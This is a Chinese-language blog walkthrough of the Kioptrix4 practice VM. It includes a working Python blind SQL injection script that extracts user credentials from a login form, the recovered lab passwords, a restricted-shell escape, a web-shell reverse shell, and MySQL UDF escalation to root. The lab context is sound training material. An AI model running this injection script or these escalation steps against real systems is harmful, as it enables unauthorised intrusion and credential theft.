vulhub Kioptrix4

vulhub Kioptrix4 walkthrough

关于配置只给了vmdk,无vmx,需要自建虚拟机:
新建虚拟机,选择自定义模式,安装来源选择“稍后安装”,然后在客户机操作系统选择“其他”,选择位置为解压后放置vmdk文件的文件夹,设置为1核512M,一路默认,在选择磁盘处选择“使用现有虚拟磁盘”,然后选择vmdk文件,出现提示后选择“保持现有格式”。

0x01 端口扫描

image.png

开了两个smb、web、ssh

image.png

image.png

0x02 smb渗透

image.png

可以匿名访问,但是没有有效信息,先放下

0x03 web渗透

image.png

目录爆破发现一个数据库文件和登录页,先看sql文件:

image.png

创建了members表,其中有username,password,id列,插入john@1234的信息
拿john的凭据去登录:

image.png

image.png

都登录失败,测sql注入:

image.png

mypassword处有注入点

image.png

一句话可以进,随意修改name值发现cookie不会变,尝试破解cookie

image.png

image.png

只能老老实实注入了

image.png

存在布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests  
import time
url="http://10.10.10.137/checklogin.php" #记得添加url
result=""
op = ""
for i in range(1,50000): #i是长度
l=int(0)
r=int(128)
while l<r:
j=(l+r)>>1
payload0={
#"mypassword": f"' or ascii(substr(database(),{i},1)) > {j}#",
#"mypassword": f"' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=\"members\"),{i},1)) > {j}#", #"mypassword": f"' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=\"members\"),{i},1)) > {j}#", "mypassword": f"' or ascii(substr((select(group_concat(id,0x7c,username,0x7c,password,0x7c))from(members)),{i},1)) > {j}#",
"myusername":"1",
"submit":"Login"
}
result =requests.post(url=url,data=payload0)
if ('Wrong Username or Password' in result.text):
r=j
else:
l=j+1
op+=chr(l)
print(op)

image.png

image.png

image.png

image.png

拿到两个凭据:

  1. john@MyNameIsJohn
  2. robert@ADGAdsafdfwt4gadfga==

image.png

登录web页面好像什么用也没有,尝试ssh:

1
ssh john@10.10.10.137 -oHostKeyAlgorithms=ssh-rsa,ssh-dss 

image.png

全部登录成功,一下两个shell

image.png

白高兴,两个全是不能用的shell
尝试注入写马:

image.png

image.png

反弹shell:

image.png

0x04 提权

简单枚举无提权向量,且内核版本很低,考虑内核提权

image.png

遗憾的是www-data用户无法使用wget

kshell 修补

横向回到john用户,期望这个用户可以用wget,尝试修补shell环境:

image.png

可用指令有echo,使用echo os.system("/bin/bash")修补shell:

image.png

好好好,可以确定wget是用不了了
查看是否有gcc

image.png

没装gcc,果然可以放弃内核提权了

UDF提权

udf提权:上传自定义动态链接库so文件–system_exec达成命令执行,若mysql进程为root名下,则可以root身份命令执行

本机满足的利用条件:

  1. 数据库管理员权限运行
  2. 数据库的版本信息不高于 5.5.6

查看对内网开启的端口:

1
2
ps -ef | grep "mysql"
netstat -tnl

image.png

尝试无密码登录:

image.png

满足提权要求,开始udf提权:

image.png

查看mysql库–func表下是否已经有可命令执行的so文件,发现已经存在,直接利用:

image.png

whoami回显为NULL,无须害怕直接弹shell,拿到root shell

image.png

0x05 反思补足总结

wget 无法执行(todo)

root shell也无法运行wget

image.png

不过可以使用curl -o替代

limited shell绕过

  1. echo os.system('/bin/bash')
  1. vim
    image.png
  1. 其余手法:Escaping Restricted Linux Shells

nmap的smb用户枚举

1
nmap -sC --script=smb-enum-users 10.10.10.137

image.png

UDF提权

介绍:使用 MySQL UDF 执行命令

  1. 已自带sys_exec函数:见上文
  1. 未自带需自行上传so文件: blog.csdn.net/m0_66299232/article/details/130823248 、或参照exp1518.c

image.png

使用条件:

  1. 可使用的数据库账户有select insert create权限
  2. secure_file_priv为空:该参数规定了数据库可以操控的目录
  3. 数据库进程在目标(高权限)用户名下:使用UDF命令执行即用该账户命令执行
  4. (非必要) gcc:在本机或靶机编译为so文件都可

使用linEnum对提权向量初步枚举

可完成大量基础向量枚举,但无法探测内核漏洞,故判断为内核提权时仍需跑linpeas

image.png

image.png

image.png

image.png

0x06 靶机总结

  1. 目录扫描:开启了smb服务、web服务、ssh服务
  2. smb渗透:没有任何可以查看的共享文件/目录
  3. web渗透:通过盲注可拿到ssh登录凭据,绕过受限shell即可拿到立足点;或通过注入写马拿到www-data的立足点
  4. 提权:枚举发现mysql服务为root用户运行,且在网站配置文件拿到数据库root凭据,登录后在mysql库中发现已自带命令执行UDF函数,利用其反弹回root shell

vulhub Kioptrix4
https://fyhypo.github.io/blog/vulnhub/vulnhub Kioptrix4/
作者
FYHypo
发布于
2024年4月2日
许可协议